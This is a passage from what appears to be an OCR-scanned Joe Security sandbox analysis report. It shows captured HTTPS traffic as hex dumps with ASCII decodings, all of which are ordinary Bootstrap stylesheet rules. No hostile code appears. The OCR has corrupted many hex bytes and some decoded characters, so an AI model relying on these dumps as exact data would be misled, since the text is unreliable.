7d 2e 6f 66 66 73 65 74 2d 6d 64 2d 37 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66
66 73 65 74 2d 6d 64 2d 38 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 7
4 2d 6d 64 2d 39 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 37 35 25 7d 2e 6f 66 66 73 65 74 2d 6d 64 2d 31 30 7b 6d 61 72
67 69 6e 2d 6¢ 65 66 74 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 6f
Data Ascii: rgin-left:25%}.offset-md-4{margin-left:33.333333%}.offset-md-5{margin-left:41.666667%}.offset-md-6{margin-le
t:50%}.offset-md-7{margin-left:58.333333%}.offset-md-8{margin-left:66.666667%}.offset-md-9{margin-left: 75%}.offset-md-
10{margin-left:83.333333%}.0

2021-09-15 14:28:03 UTC 37 IN Data Raw: 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6¢ 2d 6¢ 67 2d 31 31 7b
2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36
36 37 25 3b 66 6¢ 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36
36 36 36 37 25 7d 2e 63 6f 6¢ 2d 6¢ 67 2d 31 32 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d
66 6¢ 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6¢ 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 3
03025 7d 2e 6f 72 64 65 72 2d 6¢ 67 2d 66 69 72 73 74 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6¢ 2d 6
7 72 6f 75 70 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 2d 6f 72 64 65 72
Data Ascii: 33%;max-width:83.333333%}.col-lg-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-
width:91.666667%}.col-lg-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-webkit-
box-ordinal-group:0;-ms-flex-order

2021-09-15 14:28:03 UTC 39 IN Data Raw: 67 2d 35 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 34 31 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 6¢
67 2d 36 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 35 30 25 7d 2e 6f 66 66 73 65 74 2d 6¢ 67 2d 37 7b 6d 61 72 67 69 6e
2d 6¢ 65 66 74 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 6¢ 67 2d 38 7b 6d 61 72 67 69 6e 2d 6¢ 65
66 74 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 6¢ 67 2d 39 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 3
7 35 25 7d 2e 6f 66 66 73 65 74 2d 6¢ 67 2d 31 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 33 2e 33 33 33 33 33 33 25
7d 2e 6f 66 66 73 65 74 2d 6¢ 67 2d 31 31 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 39 31 2e 36 36 36 36 36 37 25 7d 7d
40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70
Data Ascii: g-5{margin-left:41.666667%}.offset-Ig-6{margin-left:50%}.offset-Ig-7{margin-left:58.333333%}.offset-Ig-8{margin-
left:66.666667%)}.0ffset-Ig-9{margin-left:75%}.offset-lg-10{margin-left:83.333333%)}.offset-Ig-11{margin-left:91.66666
7%}}@media (min-width:1200p

2021-09-15 14:28:03 UTC 40 IN Data Raw: 2d 66 6¢ 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6¢ 65 78 3a 30 20 30 20 39 31 2e 36 36 36
36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6¢ 2d 78 6¢ 2d 31 32 7b 2d 77
65 62 6b 69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6¢ 65 78
3a30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 6f 72 64 65 72 2d 78 6¢ 2d 66 69 72 73 7
4 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6¢ 2d 67 72 6f 75 70 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 2d 6f 7
264 65 72 3a 2d 31 3b 6f 72 64 65 72 3a 2d 31 7d 2e 6f 72 64 65 72 2d 78 6¢ 2d 6¢ 61 73 74 7b 2d 77 65 62 6b 69 74 2d
62 6f 78 2d 6f 72 64 69 6e 61 6¢ 2d 67 72 6f 75 70 3a 31 34 3b 2d
Data Ascii: -flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-xI-12{-webkit-box-flex:0;-ms-flex:0 0
100%;flex:0 0 100%;max-width:100%}.order-xI-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-xl-last{-we
bkit-box-ordinal-group:14;-

2021-09-15 14:28:03 UTC 42 IN Data Raw: 66 66 73 65 74 2d 78 6¢ 2d 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 6f
66 66 73 65 74 2d 78 6¢ 2d 38 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73
65 74 2d 78 6¢ 2d 39 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 37 35 25 7d 2e 6f 66 66 73 65 74 2d 78 6¢ 2d 31 30 7b 6d
61 72 67 69 6e 2d 6¢ 65 66 74 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 78 6¢ 2d 31 31 7b 6d 61 72 6
7 69 6e 2d 6¢ 65 66 74 3a 39 31 2e 36 36 36 36 36 37 25 7d 7d 2e 74 61 62 6¢ 65 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d
6178 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 62 61 63 6b 67 72 6f
75 6e 64 2d 63 6f 6¢ 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d
Data Ascii: ffset-xI-7{margin-left:58.333333%y}.offset-xI-8{margin-left:66.66666 7%}.offset-xI-9{margin-left:75%}.offset-x|-
10{margin-left:83.333333%}.offset-xI-11{margin-left:91.66666 7%}}.table{width:100%;max-width:100%;margin-bott
om:1rem;background-color:transparent}

2021-09-15 14:28:03 UTC 43 IN Data Raw: 63 65 73 73 3e 74 68 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 63 33 65 36 63 62 7d 2e 74 61
62 6¢ 65 2d 68 6f 76 65 72 20 2e 74 61 62 6¢ 65 2d 73 75 63 63 65 73 73 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6€
64 2d 63 6f 6¢ 6f 72 3a 23 62 31 64 66 62 62 7d 2e 74 61 62 6¢ 65 2d 68 6f 76 65 72 20 2e 74 61 62 6¢ 65 2d 73 75 63 63
65 73 73 3a 68 6f 76 65 72 3e 74 64 2c 2e 74 61 62 6¢ 65 2d 68 6f 76 65 72 20 2e 74 61 62 6¢ 65 2d 73 75 63 63 65 73 73
3a 68 6f 76 65 72 3e 74 68 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 62 31 64 66 62 62 7d 2e 74 61 62 6¢C
65 2d 69 6e 66 6f 2c 2e 74 61 62 6¢ 65 2d 69 6e 66 6f 3e 74 64 2c 2e 74 61 62 6¢ 65 2d 69 6€ 66 6f 3e 74 68 7h 62 61 63
6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 62 65 65 35
Data Ascii: cess>th{background-color:#c3e6cb}.table-hover .table-success:hover{background-color:#b1dfbb}.table-hover
.table-success:hover>td,.table-hover .table-success:hover>th{background-color:#b1dfbb}.table-info,.table-info>td,.table-inf
o>th{background-color:#bee5

2021-09-15 14:28:03 UTC 44 IN Data Raw: 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 30 37 35 29 7d 2e 74 61 62 6¢ 65 2d 68 6f 76 65 72 20 2e 74 61
62 6¢ 65 2d 61 63 74 69 76 65 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 72 67 62 61 28 30
2c 30 2c 30 2c 2e 30 37 35 29 7d 2e 74 61 62 6¢ 65 2d 68 6f 76 65 72 20 2e 74 61 62 6¢ 65 2d 61 63 74 69 76 65 3a 68 6f
76 65 72 3e 74 64 2c 2e 74 61 62 6¢ 65 2d 68 6f 76 65 72 20 2e 74 61 62 6¢ 65 2d 61 63 74 69 76 65 3a 68 6f 76 65 72 3e
74 68 7h 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 30 37 35 29 7d 2e 74 61
62 6¢ 65 20 2e 74 68 65 61 64 2d 64 61 72 6b 20 74 68 7b 63 6f 6¢ 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64
2d 63 6f 6¢ 6f 72 3a 23 32 31 32 35 32 39 3b 62 6f 72 64
Data Ascii: or:rgha(0,0,0,.075)}.table-hover .table-active:hover{background-color:rgha(0,0,0,.075)}.table-hover .table-a
ctive:hover>td,.table-hover .table-active:hover>th{background-color:rgha(0,0,0,.075)}.table .thead-dark th{color:#fff;ba
ckground-color:#212529;bord

2021-09-15 14:28:03 UTC 46 IN Data Raw: 2d 78 6¢ 7b 64 69 73 70 6¢ 61 79 3a 62 6¢ 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 6f 76 65 72 66 6¢ 6f
772d 78 3a 61 75 74 6f 3b 2d 77 65 62 6b 69 74 2d 6f 76 65 72 66 6¢ 6f 77 2d 73 63 72 6f 6C 6C 69 6€ 67 3a 74 6f 75 63
68 3b 2d 6d 73 2d 6f 76 65 72 66 6¢ 6f 77 2d 73 74 79 6¢ 65 3a 2d 6d 73 2d 61 75 74 6f 68 69 64 69 6e 67 2d 73 63 72 6f
6c 6 62 61 72 7d 2e 74 61 62 6¢ 65 2d 72 65 73 70 6f 6e 73 69 76 65 2d 78 6¢ 3e 2e 74 61 62 6¢ 65 2d 62 6f 72 64 65 72
6564 7b 62 6f 72 64 65 72 3a 30 7d 7d 2e 74 61 62 6¢ 65 2d 72 65 73 70 6f 6e 73 69 76 65 7b 64 69 73 70 6¢ 61 79 3a
62 6¢ 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 6f 76 65 72 66 6¢ 6f 77 2d 78 3a 61 75 74 6f 3b 2d 77 65 62 6b 69 74
2d 6f 76 65 72 66 6¢ 6f 77 2d 73 63 72 6f 6¢ 6C 69 6e 67 3a
Data Ascii: -xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohid
ing-scrollbar}.table-responsive-x|>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-
webkit-overflow-scrolling:
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kBytes
Timestamp transferred Direction Data

2021-09-15 14:28:03 UTC 47 IN Data Raw: 2d 72 61 6e 67 65 7b 64 69 73 70 6¢c 61 79 3a 62 6¢ 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 63 6f 6¢
2d 66 6f 72 6d 2d 6¢ 61 62 65 6¢ 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 63 61 6¢ 63 28 2e 33 37 35 72 65 6d 20 2b 20 31
707829 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 63 61 6¢ 63 28 2e 33 37 35 72 65 6d 20 2b 20 31 70 78 29 3b 6d
6172 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6¢ 69 6e 65 2d 68 65
69 67 68 74 3a 31 2e 35 7d 2e 63 6f 6¢ 2d 66 6f 72 6d 2d 6¢ 61 62 65 6¢ 2d 6¢ 67 7b 70 61 64 64 69 6€ 67 2d 74 6f 70 3a
63 61 6¢ 63 28 2e 35 72 65 6d 20 2b 20 31 70 78 29 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 63 61 6¢ 63 28 2e 35
72 65 6d 20 2b 20 31 70 78 29 3b 66 6f 6e 74 2d 73 69 7a
Data Ascii: -range{display:block;width:100%}.col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem
+ 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom
:calc(.5rem + 1px);font-siz

2021-09-15 14:28:03 UTC 48 IN Data Raw: 64 69 6e 67 2d 6¢ 65 66 74 3a 30 7d 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 73 6d 2c 2e 69 6e 70 75 74 2d
67 72 6f 75 70 2d 73 6d 3e 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6¢ 2¢ 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e
69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 70 70 65 6e 64 3e 2e 62 74 6e 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e
2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 70 70 65 6e 64 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 74 65 78 74 2c 2e
69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 70 72 65 70 65 6e 64 3e 2e 62 74
6e 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 70 72 65 70 65 6e 64 3e 2e
69 6e 70 75 74 2d 67 72 6f 75 70 2d 74 65 78 74 7b 70 61 64 64
Data Ascii: ding-left:0}.form-control-sm,.input-group-sm>.form-control,.input-group-sm>.input-group-append>.btn,.input-g
roup-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-
prepend>.input-group-text{padd

2021-09-15 14:28:03 UTC 50 IN Data Raw: 75 74 2d 67 72 6f 75 70 2d 70 72 65 70 65 6e 64 3e 73 65 6¢ 65 63 74 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d
74 65 78 74 3a 6e 6f 74 28 5b 73 69 7a 65 5d 29 3a 6e 6f 74 28 5b 6d 75 6¢ 74 69 70 6¢ 65 5d 29 2¢ 2e 69 6e 70 75 74 2d
67 72 6f 75 70 2d 6¢ 67 3e 73 65 6¢ 65 63 74 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6¢ 3a 6e 6f 74 28 5b 73 69 7a 65 5d 29
3a 6e 6f 74 28 5b 6d 75 6¢ 74 69 70 6¢ 65 5d 29 2c 73 65 6¢ 65 63 74 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 6C 67 3a
6e 6f 74 28 5b 73 69 7a 65 5d 29 3a 6e 6f 74 28 5b 6d 75 6¢ 74 69 70 6¢ 65 5d 29 7b 68 65 69 67 68 74 3a 63 61 6C 63 28
322e 3837357265 6d 20 2b 20 32 70 78 29 7d 2e 66 6f 72 6d 2d 67 72 6f 75 70 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f
6d 3a 31 72 65 6d 7d 2e 66 6f 72 6d 2d 74 65 78 74 7b 64
Data Ascii: ut-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-lg>select.form-control:not
([size]):not([multiple]),select.form-control-lg:not([size]):not([multiple]){height:calc(2.875rem + 2px)}.form-group{margin-
bottom:1rem}.form-text{d

2021-09-15 14:28:03 UTC 51 IN Data Raw: 37 66 66 39 0d Oa 36 39 2c 2e 38 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 32 72 65 6d 7d 2e 63 75
7374 6f 6d 2d 73 65 6¢ 65 63 74 2e 69 73 2d 76 61 6¢ 69 64 2c 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6¢ 2e 69 73 2d 76 61
6C 69 64 2c 2e 77 61 73 2d 76 61 6¢ 69 64 61 74 65 64 20 2e 63 75 73 74 6f 6d 2d 73 65 6¢ 65 63 74 3a 76 61 6¢ 69 64
2c 2e 77 61 73 2d 76 61 6¢ 69 64 61 74 65 64 20 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6¢ 3a 76 61 6¢ 69 64 7b 62 6f 72 64
65 72 2d 63 6f 6¢ 6f 72 3a 23 32 38 61 37 34 35 7d 2e 63 75 73 74 6f 6d 2d 73 65 6¢ 65 63 74 2e 69 73 2d 76 61 6¢C 69 64
3a 66 6f 63 75 73 2c 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6¢ 2e 69 73 2d 76 61 6¢ 69 64 3a 66 6f 63 75 73 2c 2e 77 61 73
2d 76 61 6¢ 69 64 61 74 65 64 20 2e 63 75 73 74 6f 6d 2d 73
Data Ascii: 7ff969,.8);border-radius:.2rem}.custom-select.is-valid,.form-control.is-valid, .was-validated .custom-select:
valid,.was-validated .form-control:valid{border-color:#28a745}.custom-select.is-valid:focus,.form-control.is-valid:focus,.was-
validated .custom-s

2021-09-15 14:28:03 UTC 52 IN Data Raw: 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 69 6e 70 75 74 2e 69 73 2d 76 61 6¢ 69 64 7e 2e 76 61 6¢ 69 64 2d
66 65 65 64 62 61 63 6b 2C 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 69 6e 70 75 74 2e 69 73 2d 76 61 6¢ 69 64 7e
2e 76 61 6¢ 69 64 2d 74 6f 6f 6¢ 74 69 70 2c 2e 77 61 73 2d 76 61 6¢ 69 64 61 74 65 64 20 2e 63 75 73 74 6f 6d 2d 63 6f
6e 74 72 6f 6¢ 2d 69 6e 70 75 74 3a 76 61 6¢ 69 64 7e 2e 76 61 6¢ 69 64 2d 66 65 65 64 62 61 63 6b 2¢ 2e 77 61 73 2d
76 61 6¢ 69 64 61 74 65 64 20 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 69 6e 70 75 74 3a 76 61 6¢ 69 64 7e 2e 76
61 6¢ 69 64 2d 74 6f 6f 6¢ 74 69 70 7b 64 69 73 70 6¢ 61 79 3a 62 6¢ 6f 63 6b 7d 2e 63 75 73 74 6f 6d 2d 63 6f 6 74 72 6t
6c 2d 69 6e 70 75 74 2e 69 73 2d 76 61 6¢ 69 64 3a 63 68
Data Ascii: ustom-control-input.is-valid~.valid-feedback,.custom-control-input.is-valid~.valid-tooltip,.was-validated .custom-
control-input:valid~.valid-feedback,.was-validated .custom-control-input:valid~.valid-tooltip{display:block}.custom-control-
input.is-valid:ch

2021-09-15 14:28:03 UTC 53 IN Data Raw: 70 3a 31 30 30 25 3b 7a 2d 69 6e 64 65 78 3a 35 3b 64 69 73 70 6¢ 61 79 3a 6e 6f 6e 65 3b 6d 61 78 2d 77 69
64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2e 31 72 65 6d
3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 72 65 6d 3b 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 63 6f 6¢ 6f 72 3a 23
66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 72 67 62 61 28 32 32 30 2¢ 35 33 2¢ 36 39 2c 2e 38 29 3b
62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 32 72 65 6d 7d 2e 63 75 73 74 6f 6d 2d 73 65 6¢ 65 63 74 2e 69 73 2d 69
6e 76 61 6¢ 69 64 2c 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6¢ 2e 69 73 2d 69 6e 76 61 6¢ 69 64 2¢ 2e 77 61 73 2d 76 61 6¢C
69 64 61 74 65 64 20 2e 63 75 73 74 6f 6d 2d 73 65 6¢ 65 63 74
Data Ascii: p:100%;z-index:5;display:none;max-width:100%;padding:.5rem;margin-top:. 1rem;font-size:.875rem;line-
height:1;color:#fff;background-color:rgha(220,53,69,.8);border-radius:.2rem}.custom-select.is-invalid,.form-control.is-
invalid,.was-validated .custom-select

2021-09-15 14:28:03 UTC 55 IN Data Raw: 6f 6¢ 2d 69 6e 70 75 74 3a 69 6e 76 61 6¢ 69 64 7e 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 6¢ 61 62
65 6¢ 7b 63 6f 6¢ 6f 72 3a 23 64 63 33 35 34 35 7d 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 69 6€ 70 75 74 2e 69
73 2d 69 6e 76 61 6¢ 69 64 7e 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 6¢ 61 62 65 6¢ 3a 3a 62 65 66 6f 72 65 2¢
2e 77 61 73 2d 76 61 6¢ 69 64 61 74 65 64 20 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 69 6€ 70 75 74 3a 69 6e 76
61 6¢ 69 64 7e 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 6¢ 61 62 65 6¢ 3a 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67
72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 65 66 61 32 61 39 7d 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 69 6e 70 75
74 2e 69 73 2d 69 6e 76 61 6¢ 69 64 7e 2e 69 6e 76 61 6¢C
Data Ascii: ol-input:invalid~.custom-control-label{color:#dc3545}.custom-control-input.is-invalid~.custom-control-label:
:before,.was-validated .custom-control-input:invalid~.custom-control-label::before{background-color:#efa2a9}.custom-cont
rol-input.is-invalid~.inval

2021-09-15 14:28:03 UTC 56 IN Data Raw: 73 2d 69 6e 76 61 6¢ 69 64 3a 66 6f 63 75 73 7e 2e 63 75 73 74 6f 6d 2d 66 69 6¢ 65 2d 6¢ 61 62 65 6C 2C 2e
776173 2d 76 61 6¢ 69 64 61 74 65 64 20 2e 63 75 73 74 6f 6d 2d 66 69 6¢ 65 2d 69 6e 70 75 74 3a 69 6e 76 61 6¢ 69
64 3a 66 6f 63 75 73 7e 2e 63 75 73 74 6f 6d 2d 66 69 6¢ 65 2d 6¢ 61 62 65 6¢ 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20
30 2030 20 2e 32 72 65 6d 20 72 67 62 61 28 32 32 30 2c 35 33 2c 36 39 2c 2e 32 35 29 7d 2e 66 6f 72 6d 2d 69 6e 6¢
69 6e 65 7b 64 69 73 70 6¢ 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6¢ 61 79 3a 2d 6d 73 2d 66 6C 65 7
862 6f 78 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 6
9 7a 6f 6e 74 61 6¢ 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69
Data Ascii: s-invalid:focus~.custom-file-label,.was-validated .custom-file-input:invalid:focus~.custom-file-label{box-sh
adow:0 0 0 .2rem rgha(220,53,69,.25)}.form-inline{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orien
t:horizontal;-webkit-box-di

Copyright Joe Security LLC 2021 Page 30 of 51



kBytes
Timestamp transferred Direction Data

2021-09-15 14:28:03 UTC 106 IN Data Raw: 74 6f 3b 70 61 64 64 69 6e 67 2d 6¢ 65 66 74 3a 30 7d 2e 66 6f 72 6d 2d 69 6e 6¢ 69 6e 65 20 2e 66 6f 72 6d
2d 63 68 65 63 6b 2d 69 6e 70 75 74 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6¢ 61 74 69 76 65 3b 6d 61 72 67 69 6e 2d 74 6f
703a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 32 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 30 7d 2e
66 6f 72 6d 2d 69 6e 6¢ 69 6e 65 20 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6¢ 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d
61 6¢ 69 67 6e 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6¢ 65 78 2d 61 6C 69 67 6€ 3a 63 65 6e 74 65 72 3b 61 6¢ 69 67
6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2
d 6d 73 2d 66 6¢ 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a
Data Ascii: to;padding-left:0}.form-inline .form-check-input{position:relative;margin-top:0;margin-right:.25rem;margin-|
eft:0}.form-inline .custom-control{-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-
ms-flex-pack:center;j

2021-09-15 14:28:03 UTC 108 IN Data Raw: 6e 2d 70 72 69 6d 61 72 79 3a 64 69 73 61 62 6¢ 65 64 7b 63 6f 6¢ 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72
6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 30 30 37 62 66 66 3b 62 6 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 23 30 30 37 62 66 66 7d
2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6¢C 65
64 29 2e 61 63 74 69 76 65 2c 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f
7428 2e 64 69 73 61 62 6¢ 65 64 29 3a 61 63 74 69 76 65 2c 2e 73 68 6 77 3e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2e
64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6¢ 65 7b 63 6f 6¢ 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6C
6f 72 3a 23 30 30 36 32 63 63 3b 62 6f 72 64 65 72 2d 63
Data Ascii: n-primary:disabled{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:not(:disabled):not(
.disabled).active,.btn-primary:not(:disabled):not(.disabled):active,.show>.btn-primary.dropdown-toggle{color:#fff;backgr
ound-color:#0062cc;border-c

2021-09-15 14:28:03 UTC 109 IN Data Raw: 2c 2e 62 74 6e 2d 73 75 63 63 65 73 73 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30
202e 3272 65 6d 20 72 67 62 61 28 34 30 2¢ 31 36 37 2c 36 39 2c 2e 35 29 7d 2e 62 74 6e 2d 73 75 63 63 65 73 73 2e
64 69 73 61 62 6¢ 65 64 2C 2e 62 74 6e 2d 73 75 63 63 65 73 73 3a 64 69 73 61 62 6¢ 65 64 7b 63 6f 6¢ 6f 72 3a 23 66 66
66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 32 38 61 37 34 35 3b 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a
2332386137 3435 7d 2e 62 74 6e 2d 73 75 63 63 65 73 73 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74 28
2e 6469 73 61 62 6¢ 65 64 29 2e 61 63 74 69 76 65 2c 2e 62 74 6e 2d 73 75 63 63 65 73 73 3a 6e 6f 74 28 3a 64 69 73
61 62 6¢ 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6¢ 65 64 29
Data Ascii: ,.btn-success:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-success.disabled,.btn-success:disabled{co
lor:#fff;background-color:#28a745;border-color:#28a745}.btn-success:not(:disabled):not(.disabled).active,.btn-success:no
t(:disabled):not(.disabled)

